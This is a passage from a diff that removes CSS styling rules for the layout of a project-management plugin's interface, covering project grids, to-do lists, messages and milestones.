border-bottom: none; -} -.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul li a:hover span.count { - background: #019dd6; - color: #ffffff ; -} -.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul .active a, -.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul a.router-link-exact-active, -.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul a:hover { - border-bottom: solid 2px #019dd6; - color: #000000; -} -.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul a.router-link-exact-active span.count, -.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul a:hover span.count { - background: #019dd6; - color: #ffffff ; -} -.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul a.pm-all-project { - background-image: url('../images/all.svg'); - padding-left: 55px; - background-position: 27% 50%; -} -.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul .active .pm-all-project, -.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul a.pm-all-project:hover { - background-image: url('../images/all_hover.svg'); -} -.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul a.pm-active-project { - background-image: url('../images/active_projects.svg'); -} -.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul .active .pm-active-project, -.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul a.pm-active-project:hover { - background-image: url('../images/active_projects_hover.svg'); -} -.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul a.pm-archive-project { - background-image: url('../images/completed.svg'); -} -.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul .active .pm-archive-project, -.pm .pm-top-bar .pm-project-group ul.pm-project-group-ul a.pm-archive-project:hover { - background-image: url('../images/completed_hover.svg'); -} -.pm .pm-top-bar .pm-project-group .pm-col-5 { - padding: 0px; - margin: 0px; -} -.pm .pm-top-bar .pm-project-group ul.pm-project-view { - margin: 14px 0 0 0; -} -.pm .pm-top-bar .pm-project-group ul.pm-project-view li { - float: right; - margin: 0 15px 0 0; -} -.pm .pm-top-bar .pm-project-group ul.pm-project-view li a { - color: #eee; -} -.pm .pm-top-bar .pm-project-group ul.pm-project-view li a :hover, -.pm .pm-top-bar .pm-project-group ul.pm-project-view li a .active { - color: #000; -} -.pm .pm-project-meta a { - color: #999; -} -.pm .pm-project-grid { - margin: 0px ; - padding: 0px; - margin-right: 0px; - padding-right: 0px; -} -.pm .pm-project-grid .pm-project { - width: 32.333333333%; - margin-right: 10px; - margin-bottom: 10px; - margin: 0 1.5% 1.75% 0 ; - margin-left: 0px; - padding: 0px; - float: left; - height: 300px; -} -.pm .pm-project-grid article.pm-project:nth-child(3n) { - margin: 0 0 1.75% 0; -} -.pm .pm-project-grid .pm-project .project_head { - background: #ffffff ; - padding: 15px; - border-bottom: 1px #eee solid; - min-height: 55px; - color: #000 ; -} -.pm .pm-project-grid .pm-project .project_head:hover { - background: #019dd6; - text-decoration: none; -} -.pm .pm-project-grid .pm-project .project_head:hover h5, -.pm .pm-project-grid .pm-project .project_head:hover .pm-settings-icon-cog span, -.pm .pm-project-grid .pm-project .project_head:hover .pm-project-detail { - color: #ffffff; -} -.pm .pm-project-grid .pm-project .pm-project-meta { - padding: 10px; -} -.pm .pm-project-grid .pm-project .pm-project-meta ul { - padding: 0px; - margin: 0px; - margin-left: 5px; - margin-bottom: 50px; - *zoom: 1; -} -.pm .pm-project-grid .pm-project .pm-project-meta ul:before, -.pm .pm-project-grid .pm-project .pm-project-meta ul:after { - display: table; - content: ""; - line-height: 0; -} -.pm .pm-project-grid .pm-project .pm-project-meta ul:after { - clear: both; -} -.pm .pm-project-grid .pm-project .pm-project-meta ul li { - float: left; - width: 41%; - margin: 0; - list-style: none; - //padding-left: 25px; - font-size: 13px; - color: #888888; - line-height: 35px; - padding-bottom: 15px; -} -.pm .pm-project-grid .pm-project .pm-progress { - position: absolute; - bottom: 75px; - height: 6px; - width: 100%; - margin: 0px 0px 0px 0px; - background-color: red; - background-image: linear-gradient(to bottom, #dae5e8, #dae5e8); - background-repeat: repeat-x; - box-shadow: 0px ; - border-radius: 0px; -} -.pm .pm-project-grid .pm-project .pm-progress .completed { - background-color: #019dd6; - background-image: linear-gradient(to bottom, #019dd6, #019dd6); -} -.pm .pm-project-grid .pm-project .pm-project-people { - text-align: center; -} -.pm .pm-project-grid .pm-project .pm-progress-percentage, -.pm .pm-project-grid .pm-project .pm-project-action-list-view { - display: none; -} -.pm .pm-project-grid .pm-last-col { - margin-right: 0px; - float: right; - margin-left: 0px; -} -.pm li { - background-position: 0% 55% ; - background-repeat: no-repeat; -} -.pm li.message { - //background-image: url('../images/bullet_green.png'); -} -.pm li.todo { - //background-image: url('../images/to-do-list.png'); -} -.pm li.todos { - //background-image: url('../images/to-do-list.png'); -} -.pm li.comments { - //background-image: url('../images/comment.png'); -} -.pm li.files { - //background-image: url('../images/docs.png'); -} -.pm li.milestone { - //background-image: url('../images/milestones.png'); -} -.pm .pm-project-list { - margin: 0px ; - padding: 0px; -} -.pm .pm-project-list .pm-project { - padding: 0px; - width: 100% ; - float: left; - box-shadow: none; - height: auto; -} -.pm .pm-project-list .pm-project:not(:first-child) { - border-top: none; -} -.pm .pm-project-list .pm-project:first-child { - margin-top: 0; -} -.pm .pm-project-list .pm-project .project_head { - background: #ffffff ; - padding: 12px 20px; - min-height: 87px; - color: #000 ; - width: 30%; - float: left; - margin-right: 10px; -} -.pm .pm-project-list .pm-project .project_head:hover { - background: #019dd6; - text-decoration: none; -} -.pm .pm-project-list .pm-project .project_head:hover h5, -.pm .pm-project-list .pm-project .project_head:hover .pm-settings-icon-cog span, -.pm .pm-project-list .pm-project .project_head:hover .pm-project-detail { - color: #ffffff; -} -.pm .pm-project-list .pm-project .pm-project-detail { - font-size: 13px; -} -.pm .pm-project-list .pm-project .pm-project-meta { - padding: 0px; - width: 25%; - float: left; -} -.pm .pm-project-list .pm-project .pm-project-meta ul { - padding: 10px 0 0 0; - margin: 0px; -} -.pm .pm-project-list .pm-project .pm-project-meta ul li { - float: left; - width: 40% ; - list-style: none; - padding-left: 20px; - font-size: 12px; - color: #888888; - line-height: 150%; -} -.pm .pm-project-list .pm-project .pm-progress { - position: relative ; - float: left; - top: 40px; - height: 6px; - width: 12%; - margin: 0; - background-color: red; - background-image: linear-gradient(to bottom, #dae5e8, #dae5e8); - background-repeat: repeat-x; - box-shadow: 0px ; - border-radius: 0px; -} -.pm .pm-project-list .pm-project .pm-progress .completed { - ackground-color: #019dd6; - background-image: linear-gradient(to bottom, #019dd6, #019dd6); -} -.pm .pm-project-list .pm-project .pm-progress-percentage { - position: relative ; - float: left; - top: 32px; - margin-left: 5px; - width: 3%; - color: #aaa; - font-size: 11px; -} -.pm .pm-project-list .pm-project .pm-project-people { - position: relative; - float: left; - width: 20.5%; - text-align: left; - top: 28px; - margin-right: 30px; -} -.pm .pm-project-list .pm-project .pm-project-people img.avatar { - height: 32px; - width: 32px; -} -.pm .pm-frontend .pm-project { - height: auto ; -} -.pm .pm-frontend .pm-project-meta { - padding: 10px; -} -.pm .pm-frontend .pm-project-meta ul { - padding: 0px; - margin: 0px; - margin-left: 5px; - margin-bottom: 50px; -} -.pm .pm-frontend .pm-project-meta ul li { - float: none !important; - width: 100% !important; - list-style: none; - padding-left: 25px; - font-size: 13px; - color: #888888; - line-height: auto !important; -} -.pm .pm-border-bottom { - border-bottom: solid 1px #eee; - padding-bottom: 0px; -} -.pm .pm-project-header { - padding: 0px; -} -.pm .pm-project-header ul { - margin: 0px; - margin-left: 0px; - padding-bottom: 0px; -} -.pm .pm-project-header ul li { - border: none; - float: left; - padding: 0px; - margin: 10px 0 0 0; -} -.pm .pm-project-header ul li a { - padding: 6px 5px 6px 40px; - margin-top: 0px; - display: block; - text-decoration: none; - border-bottom: solid 2px #ffffff; - color: #aaa; - min-height: 42px; - height: 52px; - background-size: 20px 16px; - background-position: 15px 30%; - background-repeat: no-repeat; - box-shadow: none; -} -.pm .pm-project-header ul li a div { - text-align: left; - font-weight: normal; - font-size: 80%; -} -.pm .pm-project-header ul li a span.count { - padding: 0px 6px; - position: relative; - background: #eee; - margin-top: -15px; - margin-left: 5px; - border-radius: 15px; - top: 0; -} -.pm .pm-project-header ul li .overview { - background-image: url('../images/overview.svg'); -} -.pm .pm-project-header ul li .overview:hover, -.pm .pm-project-header ul li a.overview.active { - background-image: url('../images/overview_hover.svg'); -} -.pm .pm-project-header ul li .message { - background-image: url('../images/discussion.svg'); -} -.pm .pm-project-header ul li .message:hover, -.pm .pm-project-header ul li a.message.active { - background-image: url('../images/discussion_hover.svg'); -} -.pm .pm-project-header ul li .activity { - background-image: url('../images/activity.svg'); -} -.pm .pm-project-header ul li .activity:hover, -.pm .pm-project-header ul li a.activity.active { - background-image: url('../images/activity_hover.svg'); -} -.pm .pm-project-header ul li .milestone { - background-image: url('../images/milestone.svg'); -} -.pm .pm-project-header ul li .milestone:hover, -.pm .pm-project-header ul li a.milestone.active { - background-image: url('../images/milestone_hover.svg'); -} -.pm .pm-project-header ul li .to-do-list { - background-image: url('../images/todo.svg'); -} -.pm .pm-project-header ul li .to-do-list:hover, -.pm .pm-project-header ul li a.to-do-list.active { - background-image: url('../images/todo_hover.svg'); -} -.pm .pm-project-header ul li .files { - background-image: url('../images/file.svg'); -} -.pm .pm-project-header ul li .files:hover, -.pm .pm-project-header ul li a.files.active { - background-image: url('../images/file_hover.svg'); -} -.pm .pm-project-header ul li .settings { - background-image: url('../images/settings.svg'); -} -.pm .pm-project-header ul li .settings:hover, -.pm .pm-project-header ul li a.settings.active { - background-image: url('../images/settings_hover.svg'); -} -.pm .pm-project-header ul li a:hover, -.pm .pm-project-header ul li .router-link-exact-active, -.pm .pm-project-header ul li .active { - border-bottom: solid 2px #019dd6; - color: #000000; -} -.pm-settings-nav-menu-wrap .router-link-exact-active { - margin-bottom: -1px; - border-bottom: 1px solid #f1f1f1; - background: #f1f1f1; -} -.pm .pm-project-header ul li a:hover span, -.pm .pm-project-header ul li .active span { - border-bottom: none; -} -.pm .pm-project-header ul li a:hover span.count, -.pm .pm-project-header ul li .active span.count { - background: #019dd6; - color: #ffffff ; -} -.pm .pm-project-header ul li a:hover div, -.pm .pm-project-header ul li .active div { - color: #019dd6; -} -.pm .project-overview .overview-menu ul { - padding: 0px; - margin: 0 -10px !important; - display: flex; - flex-wrap: wrap; -} -.pm .project-overview .overview-menu ul li { - flex-basis: 16.66%; - max-width: 16.66%; - padding: 0 10px 20px; - -} -.pm .project-overview .overview-menu ul li a { - display: flex; - padding: 20px 10px; - border: solid 1px #E5E5E5; - background: #fff; - box-shadow: none; - transition: all 0.3s cubic-bezier(.25,.8,.25,1); -} -.pm .project-overview .overview-menu ul li a:hover, -.pm .project-overview .overview-menu ul li a:focus { - box-shadow: 0 15px 30px 0 rgba(0,0,0,.11), 0 5px 15px 0 rgba(0,0,0,.08); -} -.pm .project-overview .overview-menu ul li a div { - float: left; -} -.pm .project-overview .overview-menu ul li a .icon { - border-radius: 50%; - color: #ffffff; - margin: 0 10px; - height: 45px; - width: 45px; - background-size: 16px; - background-repeat: no-repeat; - background-position: center center; -} -.pm .project-overview .overview-menu ul li .count { - text-align: left; - font-size: 12px; - color: #848484; -} -.pm .project-overview .overview-menu ul li .count span { - color: #019dd6; - font-size: 150%; - font-weight: bold; - display: block; - padding-bottom: 3px; -} -.pm .project-overview .overview-menu ul .message .icon { - background-color: #9DBC5E; - background-image: url('../images/discussion_white.svg'); -} -.pm .project-overview .overview-menu ul .todo .icon { - background-color: #1FA185; - background-image: url('../images/todolist_white.svg'); -} -.pm .project-overview .overview-menu ul .todos .icon { - background-color: #0090DB; - background-image: url('../images/todo_white.svg'); -} -.pm .project-overview .overview-menu ul .comments .icon { - background-color: #1FA185; - background-image: url('../images/comments_white.svg'); -} -.pm .project-overview .overview-menu ul .files .icon { - background-color: #BE3C2F; - background-image: url('../images/files_white.svg'); -} -.pm .project-overview .overview-menu ul .milestone .icon { - background-color: #F29B27; - background-image: url('../images/milestones_white.svg'); -} -.pm .project-overview .pm-chart { - background: #ffffff; - padding: 0; - margin-top: 0; - /*margin-right: 10px;*/ - box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); - border: 1px solid #e5e5e5; -} -.pm .project-overview .pm-chart h3 { - font-size: 14px; - line-height: 1.4; - //border-bottom: 1px solid #eee; - padding: 8px 12px; - margin: 0; -} -.pm .project-overview .pm-chart .inside { - padding: 15px; -} -.pm .project-overview .pm-chart .pm-chart-legend { - font-size: 12px; - margin-bottom: 10px; -} -.pm .project-overview .pm-chart .pm-chart-legend span::before { - content: ''; - padding: 0px 10px; - margin: 0px 5px 15px; -} -.pm .project-overview .pm-chart .pm-chart-legend .to-do::before { - background: #79C7DE; -} -.pm .project-overview .pm-chart .pm-chart-legend .activity::before { - background: #B972B6; -} -.pm .project-overview .pm-chart canvas { - max-width: 100%; -} -.pm .project-overview .pm-right-part { - background: #ffffff ; - width: 17.1745852858%; - box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); - border: 1px solid #e5e5e5; -} -.pm .project-overview .pm-right-part h3 { - margin: 0px; - padding: 10px; - font-size: 16px; - line-height: 1.4; -} -.pm .project-overview .pm-right-part .user_list { - margin-left: 10px; - margin-right: 10px; -} -.pm .project-overview .pm-right-part .user_list li { - padding: 10px; - clear: left; - border-bottom: 1px solid #eee; -} -.pm .project-overview .pm-right-part .user_list li img { - border-radius: 50px; - float: left; - margin-right: 10px; - margin-top: 5px; -} -.pm .project-overview .pm-right-part .user_list li a { - height: 18px; - overflow: hidden; - display: inline-block; - width: calc(100% - 55px); - text-overflow: ellipsis; - white-space: nowrap; -} -.pm .project-overview .pm-right-part .user_list li span { - display: block; - font-size: small; - color: #bbb; -} -.pm .pm-activity-list { - padding: 0px; - margin: 0px; -} -.pm .pm-activity-list li.pm-row { - display: flex; - vertical-align: middle; - margin: 0 0 15px 0; - padding: 0px; -} -.pm .pm-activity-list li.pm-row .pm-activity-date { - box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); - border: #eee solid 1px; - margin-bottom: 0px; - background: #ffffff; - text-align: center; - margin-right: 1.6%; - padding: 30px 0px; -} -.pm .pm-activity-list li.pm-row .pm-activity-date span { - color: #000; - font-size: 150%; - font-weight: bold; -} -.pm .pm-activity-list li.pm-row .pm-activity-body { - box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); - border: #eee solid 1px; - margin-bottom: 0px; - margin-right: 0px; - font-size: 13px; - float: right; - word-break: break-word; - hyphens: auto; -} -.pm .pm-activity-list li.pm-row .pm-activity-body .pm-col-8, -.pm .pm-activity-list li.pm-row .pm-activity-body .pm-col-4 { - margin-bottom: 0; -} -.pm .pm-activity-list li.pm-row .pm-activity-body ul { - padding: 0px; - margin: 0px; -} -.pm .pm-activity-list li.pm-row .pm-activity-body ul li { - padding: 0px; - margin: 0px; - background: #ffffff; - padding: 8px 15px; -} -.pm .pm-activity-list li.pm-row .pm-activity-body ul li .date { - background: url('../images/time.svg') no-repeat 0 50%; - background-size: 20px; - padding: 3px 2px 2px 30px; -} -.pm .pm-activity-list li.pm-row .pm-activity-body ul li:nth-child(even) { - background: #F8F9FB; -} -.pm .pm-todolists { - padding: 0px; - margin-top: 0px; -} -.pm .pm-todolists .pm-todolist { - margin: 0px; - padding: 0px; - margin-top: 30px; -} -.pm .pm-todolists .pm-todolist header { - padding: 10px 10px 3px 10px; - background: #f9fafa; - border-bottom: 1px solid #e5e5e5; -} -.pm .pm-todolists .pm-todolist header .pm-right { - text-align: right; -} -.pm .pm-todolists .pm-todolist header .pm-right a { - float: none; - padding: 0px; - color: #ccc; - visibility: hidden; -} -.pm .pm-todolists .pm-todolist header .pm-right a:hover { - color: #444; -} -.pm .pm-todolists .pm-todolist header .pm-right a.move { - cursor: move; -} -.pm .pm-todolists .pm-todolist:hover header .pm-right a { - visibility: visible; -} -.pm .pm-todolists .pm-todolist .pm-todos { - padding: 0px; - margin: 0px; -} -.pm .pm-todolists .pm-todolist .pm-todos li { - border-bottom: solid 1px #eee; - padding: 10px 8px 10px 15px; - background: #ffffff; - margin: 0; -} -.pm .pm-todolists .pm-todolist .pm-todos li .pm-todo-content .pm-comment-count { - background: url('../images/comment_gray.svg') no-repeat 0% 50%; - background-size: 20px; - padding: 10px; - padding-left: 25px; - font-weight: bold; - width: 50px; -} -.pm .pm-todolists .pm-todolist .pm-todos li .completed_by .pm-assigned-user, -.pm .pm-todolists .pm-todolist .pm-todos li .completed_by time { - background: none; -} -.pm .pm-todolists .pm-todolist .pm-todos li .completed_by .avatar { - border-radius: 50px; - vertical-align: middle; - margin-right: 8px; -} -.pm .pm-todolists .pm-todolist .pm-todos li .pmtt-icon-clock { - background: none url('../images/time.svg') no-repeat 0% 50%; - background-size: 20px; -} -.pm .pm-todolists .pm-todolist .pm-todos li .pm-todo-action-right { - float: right; - text-align: right; - visibility: hidden; - padding-right: 0px; - margin-right: 0px; -} -.pm .pm-todolists .pm-todolist .pm-todos li .pm-todo-action-right a { - padding: 0; - margin: 0px; - text-decoration: none; - color: #ccc; -} -.pm .pm-todolists .pm-todolist .pm-todos li .pm-todo-action-right a:hover { - color: #444; - text-decoration: none; -} -.pm .pm-todolists .pm-todolist .pm-todos li .pm-todo-action-right a.move { - cursor: move; -} -.pm .pm-todolists .pm-todolist .pm-todos :hover .pm-todo-action-right { - visibility: visible ; -} -.pm .pm-todolists .pm-todolist .pm-todos-new { - margin: 0px; - padding: 0px; -} -.pm .pm-todolists .pm-todolist .pm-todos-new li { - margin-bottom: 0px !important; -} -.pm .pm-todolists .pm-todolist .pm-todos-new-form .pm-new-btn { - margin-bottom: 10px; - border-bottom: solid 1px #eee; - padding: 0px 10px 5px 30px; - margin-left: 0px; -} -.pm .pm-todolists .pm-todolist .pm-todos-new-form .pm-new-btn a { - background: url('../images/plus_blue.svg') no-repeat 0% 50%; - padding: 10px; - background-size: 20px; - padding-left: 25px; - color: #019dd6; - font-weight: bold; -} -.pm .pm-todolists .pm-todolist footer.pm-list-footer { - padding: 0px; - margin: 0px; - padding-left: 15px; -} -.pm .pm-todolists .pm-todolist footer.pm-list-footer .pm-col-6, -.pm .pm-todolists .pm-todolist footer.pm-list-footer pm-col-4, -.pm .pm-todolists .pm-todolist footer.pm-list-footer pm-col-1 { - padding-top: 5px; -} -.pm .pm-todolists .pm-todolist footer.pm-list-footer .pm-col-6 { - border-right: solid 1px #eee; - margin-right: 8%; - margin-bottom: 0; -} -.pm .pm-todolists .pm-todolist footer.pm-list-footer .pm-col-6 span { - font-weight: bold; -} -.pm .pm-todolists .pm-todolist footer.pm-list-footer .pm-col-3 { - padding-left: 28px; - background-size: 22px; - background-repeat: no-repeat; - margin: 5px 0; - padding-bottom: 5px; -} -.pm .pm-todolists .pm-todolist footer.pm-list-footer .pm-col-3 a { - line-height: 150%; - font-size: 12px; - display: inline-block; -} -.pm .pm-todolists .pm-todolist footer.pm-list-footer .pm-todo-complete { - background-image: url('../images/todo_completed.svg'); -} -.pm .pm-todo-refresh { - background-image: url('../images/refresh.svg'); - padding-left: 28px; - background-size: 20px; - background-repeat: no-repeat; -} -.pm .pm-todo-migrate { - background-image: url('../images/todo_completed.svg'); - padding-left: 28px; - background-size: 17px; - background-repeat: no-repeat; - padding-bottom: 4px; -} -.pm .pm-todolists .pm-todolist footer.pm-list-footer .pm-todo-incomplete { - background-image: url('../images/todo-incomplete.svg'); -} -.pm .pm-todolists .pm-todolist footer.pm-list-footer .pm-todo-comment { - background-image: url('../images/comment.svg'); -} -.pm .pm-todolists .pm-todolist footer.pm-list-footer .pm-new-task-btn { - background-image: url('../images/plus_blue.svg'); -} -.pm .pm-todolists .pm-todolist footer.pm-list-footer .pm-sub-task-show { - background-image: url('../images/dark-eye.svg'); -} -.pm .pm-todolists .pm-todolist footer.pm-list-footer .pm-new-task-btn-minus { - background-image: url('../images/minus.svg'); -} -.pm .pm-todolists .pm-todolist footer.pm-list-footer .no-percent { - padding-top: 0.86555551%; -} -.pm .pm-todolists .sticky_list .pm-pin-list a { - visibility: visible !important; -} -.pm .pm-todolists .sticky_list span { - color: #019dd6 !important; -} -.pm .pm-new-message-btn { -} -.pm .pm-message-page { - width: auto; - padding: 0px; - background: #ffffff; - margin-top: 10px; - margin-bottom: 10px; -} -.pm .pm-message-page .pm-message-list { - padding: 10px 20px; -} -.pm .pm-message-page .pm-message-list { - padding: 0px; - margin-right: 25px; - padding-left: 0px; - box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); - border: 1px solid #e5e5e5; -} -.pm .pm-message-page .pm-message-list .pm-box-title { - color: #0072A8; - font-weight: bold; - background: #FAFAFA; -} -.pm .pm-message-page .pm-message-list ul { - margin: 0px; - padding: 0px; -} -.pm .pm-message-page .pm-message-list li { - margin: 0px; - border-left: #fff solid 3px; - border-bottom: #eee solid 1px; - cursor: pointer; - padding: 15px 10px 0px; -} -.pm .pm-message-page .pm-message-list .pm-user-list li{ - border-bottom: 0px; -} -.pm .pm-message-page .pm-message-list li .pm-col-9 { - font-weight: bold; - color: #000; -} -.pm .pm-message-page .pm-message-list li .dicussion-meta { - font-weight: normal; - font-size: 97%; - color: #a0a0a0; -} -.pm .pm-message-page .pm-message-list li img { - border-radius: 45px; - height: auto; - float: left; - margin: 0px 10px; - height: 48px; - width: 48px; - background-color: #ccc; -} -.pm .pm-message-page .pm-message-list li .pm-message-action { - visibility: hidden; - margin-top: 7px; -} -.pm .pm-message-page .pm-message-list li .comment-count { - background-image: url('../images/comment_blue.svg'); - background-repeat: no-repeat; - background-position: 0% 65%; - background-size: 20px; - min-height: 30px; - padding-left: 28px; - padding-top: 5px; - color: #019dd6; - min-width: 150px; -} -.pm .pm-message-page .pm-message-list li:hover { - background: #f9f9f9; - border-left: #019dd6 solid 3px; -} -.pm .pm-message-page .pm-message-list li:hover .pm-message-action { - visibility: visible; -} -.pm .pm-message-page .pm-message-body { - margin-right: 0px; - height: 600px; - overflow: auto ; -} -.pm .pm-message-page .pm-message-body .pm-discuss-title { - color: #019dd6; - border-bottom: solid 1px #eee; - padding-bottom: 10px; -} -.pm .pm-message-page .pm-message-body .pm-discuss-title .pm-edit-discussion { - position: absolute; - right: 10px; - background: url('../images/edit.svg') no-repeat 0% 0%; - background-size: 20px; - padding: 10px; - width: 30px; -} -.pm .pm-message-page .pm-message-form-wrap, -.pm .pm-message-page .pm-milestone-form-wrap, -.pm .pm-message-page .pm-comment-form-wrap, -.pm .pm-message-page .pm-milestone-form { - width: auto; -} -.pm .pm-message-page .single-todo-comments { - margin-bottom: 30px; -} -.pm .pm-message-page .single-todo-comments .pm-comment-form-wrap { - background: #ffffff !important; - padding: 0px; - width: auto !important ; -} -.pm .pm-message-page .single-todo-comments .submit { - padding-bottom: 0px; - margin-bottom: 0px; -} -.pm .single-todo-comments { - margin-bottom: 30px; - margin-top: 30px; -} -.pm .single-todo-comments .submit { - padding-bottom: 0px; - margin-bottom: 0px; -} -.pm .pm-comment { - background: #fff; - margin-bottom: 10px; - display: block; - border: #eee solid 1px; - padding: 10px; - min-height: 50px; -} -.pm .pm-comment .pm-comment-action { - position: absolute; - visibility: hidden; - text-align: right; - right: 10px; - top: 10px ; -} -.pm .pm-comment .pm-comment-action span { - margin: 0 4px; -} -.pm #pm-milestone-page .pm-milestone-form-wrap { - width: auto; - margin-left: 0px; -} -.pm #pm-milestone-page .pm-milestone-link { - margin: 0px; - padding: 0px; - list-style: none; -} -.pm #pm-milestone-page .pm-milestone-link li { - margin-right: 5px; - float: left; -} -.pm #pm-milestone-page .pm-milestone-link li a { - padding: 15px 25px; - border-bottom: #fff solid 2px ; -} -.pm #pm-milestone-page .pm-milestone-link li .pm-plus-white { - float: right; - position: absolute; - right: 0px; - border: none; - padding-left: 50px; - margin-top: -10px; -} -.pm #pm-milestone-page .pm-milestone-link li .pm-plus-white:hover { - border: none; -} -.pm #pm-milestone-page .pm-milestone-link li a:hover, -.pm #pm-milestone-page .pm-milestone-link li.active a { - border-bottom: #F46720 solid 2px ; -} -.pm #pm-milestone-page .pm-milestone-details { - margin-top: 20px; - padding-left: 0px; - padding-right: 0px; -} -.pm #pm-milestone-page .pm-milestone-details .pm-late-milestone .group-title { - background-image: url('../images/late_milestone.svg'); - background-color: #FDF9F6; -} -.pm #pm-milestone-page .pm-milestone-details .pm-upcomming-milestone .group-title { - background-image: url('../images/running_milestone.svg'); - background-color: #F6FEFF; -} -.pm #pm-milestone-page .pm-milestone-details .pm-complete-milestone .group-title { - background-image: url('../images/todo_completed.svg'); - background-color: #DCEDD8; - border-bottom: 1px solid #cce5c7 !important; -} -.pm #pm-milestone-page .pm-milestone-details .pm-milestone-data { - box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04); - border: 1px solid #e5e5e5; - margin-top: 20px; -} -.pm #pm-milestone-page .pm-milestone-details .pm-milestone-data .group-title { - font-size: 16px; - margin: 0; - background-repeat: no-repeat; - background-position: 12px 50%; - background-size: 28px; - padding: 10px 10px 10px 50px; - margin-bottom: 0px; - border-bottom: #eee solid 1px; -} -.pm #pm-milestone-page .pm-milestone-details .pm-milestone { - background: #fff; - border-bottom: #eee solid 1px; -} -.pm #pm-milestone-page .pm-milestone-details .pm-milestone .milestone-head { - padding: 15px 15px 0px; - margin-bottom: 0px; - margin-top: 0px; -} -.pm #pm-milestone-page .pm-milestone-details .pm-milestone .milestone-head .time-left { - font-size: small; - font-weight: normal; - color: #124b04; -} -.pm #pm-milestone-page .pm-milestone-details .pm-milestone .milestone-head .pm-links { - margin: 0px; - margin-top: -15px; -} -.pm #pm-milestone-page .pm-milestone-details .pm-milestone .detail { - padding: 5px 15px; -} -.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details { - padding: 15px; -} -.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details .pm-milestone-todo h3 { - background: #F3F8FC ; -} -.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details .pm-milestone-todo li { - background: url('../images/milestone-todo.svg') no-repeat 12px 30%; - background-size: 25px; -} -.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details .pm-milestone-discussion h3 { - background: #F8F8EE ; -} -.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details .pm-milestone-discussion li { - background: url('../images/discussion.svg') no-repeat 12px 30%; - background-size: 25px; -} -.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details .pm-milestone-discussion .time { - background: url('../images/time.svg') no-repeat 0% 30%; - background-size: 20px; - padding-left: 25px; -} -.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details .pm-col-6 { - border: solid 1px #eee; -} -.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details .pm-col-6 h3 { - margin: 0px; - padding: 15px 15px; - margin-bottom: 5px; -} -.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details .pm-col-6 ul { - padding: 0px; - margin: 0px; -} -.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details .pm-col-6 ul li { - border-bottom: solid 1px #eee; - padding: 6px 15px; - padding-left: 45px; -} -.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details .pm-col-6 ul li:last-child { - border: none; -} -.pm #pm-milestone-page .pm-milestone-details .pm-milestone .pm-milestone-items-details img.avatar { - border-radius: 15px; - border: solid 1px #eee; - vertical-align: top; - margin-right: 5px; -} -.pm #pm-milestone-page .pm-milestone-details .pm-milestone-completed { - padding: 15px; - color: #124b04; - background: #f3ffee; -} -.pm #pm-milestone-page .cmp-empty-milestone { - background: #fff; - padding: 15px 20px 5px 20px; - min-height: 50px; -} -.pm .pm-files-page .pm-files ul { - padding: 0px; - margin: 0px; -} -/*.pm .pm-files-page .pm-files li { - background: #fff; - margin-right: 30px; - margin-bottom: 12px; - border: none; -} -.pm .pm-files-page .pm-files li img { - height: 150px; -} -.pm .pm-files-page .pm-files li .pm-file-name, -.pm .pm-files-page .pm-files li .pm-file-meta { - padding-left: 20px; -} -.pm .pm-files-page .pm-files li .pm-file-action { - margin-top: 5px; - border-top: #F4F4F4 solid 1px; - background: #FCFCFC; - padding: 10px 5px 0px; -} -.pm .pm-files-page .pm-files li .pm-file-action ul { - margin: 0px; - padding: 0px; - text-align: center; -} -.pm .pm-files-page .pm-files li .pm-file-action ul li { - background: none; -} -.pm .pm-files-page .pm-files li .pm-file-action ul a { - padding: 10px 10px; - background-size: 20px !important; -} -.pm .pm-files-page .pm-files li .pm-file-action ul .pm-comment-count { - font-size: small; - padding: 0px 6px; - margin-top: -15px; - border-radius: 10px; - position: absolute; - top: 0px; -} -.pm .pm-files-page .pm-files li .pm-file-action ul .pm-go-discussion a { - background: url('../images/attach.svg') no-repeat center center; -} -.pm .pm-files-page .pm-files li .pm-file-action ul .pm-comments-count span { - background: url('../images/discussion.svg') no-repeat center center; - padding: 15px; - background-size: 30px; -} -.pm .pm-files-page .pm-files li .pm-file-action ul .pm-download-file a { - background: url('../images/download.svg') no-repeat center center; -}*/ -.pm .chosen-drop ul li { - float: none !important ; -} -.pm .pm-single-project-search-wrap { - margin-right: 25px; -} -.pm .pm-project-action { - position: absolute; - right: 75px; - top: 15px; - color: #aaa; - cursor: pointer; -} -.pm .pm-project-action .pm-settings-bind { - padding: 3px 5px; - border: 1px solid #ddd; - height: auto; - width: auto; -} -.pm .pm-project-action .pm-settings-bind:hover { - color: #666; -} -.pm .pm-project-action ul.pm-settings { - background: #fff; - box-shadow: 0 0 3px 1px #eee; - border: 1px solid #ddd; - position: absolute; - right: 2px; - top: 140%; - width: 110px; - margin: 0; -} -.pm .pm-project-action ul.pm-settings li:not(:last-child) { - border-bottom: 1px solid 